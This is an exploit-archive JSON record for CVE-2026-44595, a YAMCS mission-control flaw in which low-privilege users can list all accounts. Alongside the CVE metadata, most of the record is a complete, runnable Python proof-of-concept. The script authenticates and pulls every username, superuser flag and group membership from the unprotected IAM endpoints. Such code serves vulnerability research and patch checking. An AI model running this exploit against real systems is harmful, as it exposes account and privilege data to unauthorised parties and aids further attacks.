{"exploit":{"id":"EDB-52604","name":"YAMCS yamcs-core 5.12.7 - Authenticated User Enumeration","description":"YAMCS yamcs-core 5.12.7 - Authenticated User Enumeration","cves":["CVE-2026-44595"],"author":"Daniel Miranda","published":"2026-05-30","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52604","path":"exploits/multiple/webapps/52604.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52604.py","vulnerabilities":[{"id":"CVE-2026-44595","state":"PUBLISHED","title":"Yamcs: Unauthorized user enumeration via IAM API endpoints","titleSource":"CVE Program","description":"Yamcs is a mission control framework. Prior to 5.12.7, the IAM API endpoints listUsers, getUser, listGroups, and getGroup in yamcs-core did not enforce the required SystemPrivilege.ControlAccess check in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java, so any authenticated user, even one with low or no privileges, could enumerate all user accounts in the system including their usernames, superuser status, and group memberships. This issue is fixed in versions 5.12.7 and 5.13.0.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44595","cvss":{"version":"3.1","baseScore":4.3,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44595"},"updatedAt":"2026-07-18T02:57:18.980Z","retrievedAt":"2026-11-25T16:15:43.302Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52604.png?v=2","url":"https://exploitbin.com/exploits/EDB-52604","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52604/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52604/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n# Exploit Title: YAMCS yamcs-core < 5.12.7 -  User Enumeration\n# Date: 2026-05-27\n# Exploit Author: Daniel Miranda Barcelona (Excal1bur)\n# Vendor Homepage: https://yamcs.org\n# Software Link: https://github.com/yamcs/yamcs\n# Version: < 5.12.7\n# Tested on: Linux\n# CVE: CVE-2026-44595\n# Category: Remote / Information Disclosure\n# Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-p2rj-mrmc-9w29\n\n\"\"\"\nCVE-2026-44595 — YAMCS Unauthorized User Enumeration via IAM API\n=================================================================\nIAM API endpoints (listUsers, getUser, listGroups, getGroup) do\nnot enforce SystemPrivilege.ControlAccess. Any authenticated user\ncan enumerate all accounts, superuser status, and group memberships.\n\nAffected endpoints:\n    GET /api/iam/users\n    GET /api/iam/users/{name}\n    GET /api/iam/groups\n    GET /api/iam/groups/{name}\n=================================================================\n\"\"\"\n\nimport requests\nimport sys\nimport json\n\ndef main():\n    target   = sys.argv[1] if len(sys.argv) > 1 else \"http://localhost:8090\"\n    username = sys.argv[2] if len(sys.argv) > 2 else \"testuser\"\n    password = sys.argv[3] if len(sys.argv) > 3 else \"test\"\n    base = target.rstrip(\"/\")\n\n    print(\"=\" * 65)\n    print(\" CVE-2026-44595 — YAMCS IAM User Enumeration PoC\")\n    print(f\" Target:   {target}\")\n    print(f\" Username: {username} (low-privilege account)\")\n    print(\"=\" * 65)\n\n    # Authenticate\n    print(f\"\\n[1] Authenticating as low-privilege user...\")\n    try:\n        resp = requests.post(f\"{base}/auth/token\",\n            data={\"grant_type\": \"password\",\n                  \"username\": username,\n                  \"password\": password})\n\n        if resp.status_code != 200:\n            print(f\"    [-] Auth failed: HTTP {resp.status_code}\")\n            print(f\"    [*] Create test user: yamcsadmin users create testuser --password test\")\n            return\n\n        token = resp.json().get(\"access_token\")\n        print(f\"    [+] Token: {token[:30]}...\")\n        headers = {\"Authorization\": f\"Bearer {token}\"}\n\n    except Exception as e:\n        print(f\"    [-] Error: {e}\")\n        return\n\n    # Enumerate users\n    print(f\"\\n[2] GET /api/iam/users (requires ControlAccess — not enforced):\")\n    resp = requests.get(f\"{base}/api/iam/users\", headers=headers)\n    print(f\"    HTTP: {resp.status_code}\")\n\n    if resp.status_code == 200:\n        users = resp.json().get(\"users\", [])\n        print(f\"\\n    [!!!] VULNERABLE — {len(users)} users enumerated:\")\n        for u in users:\n            flag = \"SUPERUSER\" if u.get(\"superuser\") else \"regular\"\n            print(f\"    -> {u.get('name')} [{flag}]\")\n    elif resp.status_code == 403:\n        print(f\"    [+] 403 Access Denied — PATCHED\")\n\n    # Enumerate groups\n    print(f\"\\n[3] GET /api/iam/groups:\")\n    resp = requests.get(f\"{base}/api/iam/groups\", headers=headers)\n    print(f\"    HTTP: {resp.status_code}\")\n\n    if resp.status_code == 200:\n        groups = resp.json().get(\"groups\", [])\n        print(f\"\\n    [!!!] VULNERABLE — {len(groups)} groups enumerated:\")\n        for g in groups:\n            print(f\"    -> {g.get('name')} ({len(g.get('members', []))} members)\")\n    elif resp.status_code == 403:\n        print(f\"    [+] 403 Access Denied — PATCHED\")\n\n    print(\"\\n\" + \"=\" * 65)\n    print(\" Fix: Upgrade to yamcs-core >= 5.12.7\")\n    print(\"=\" * 65)\n\nif __name__ == \"__main__\":\n    main()","sha256":"6dc7c29cee76e34fd5cdedad3185e3fd7a1f4037de7000d1e9477a218eed18cf","bytes":3442,"fetchedAt":"2026-11-26T08:59:05.532Z","encoding":"utf-8 (display only; download retains original bytes)"}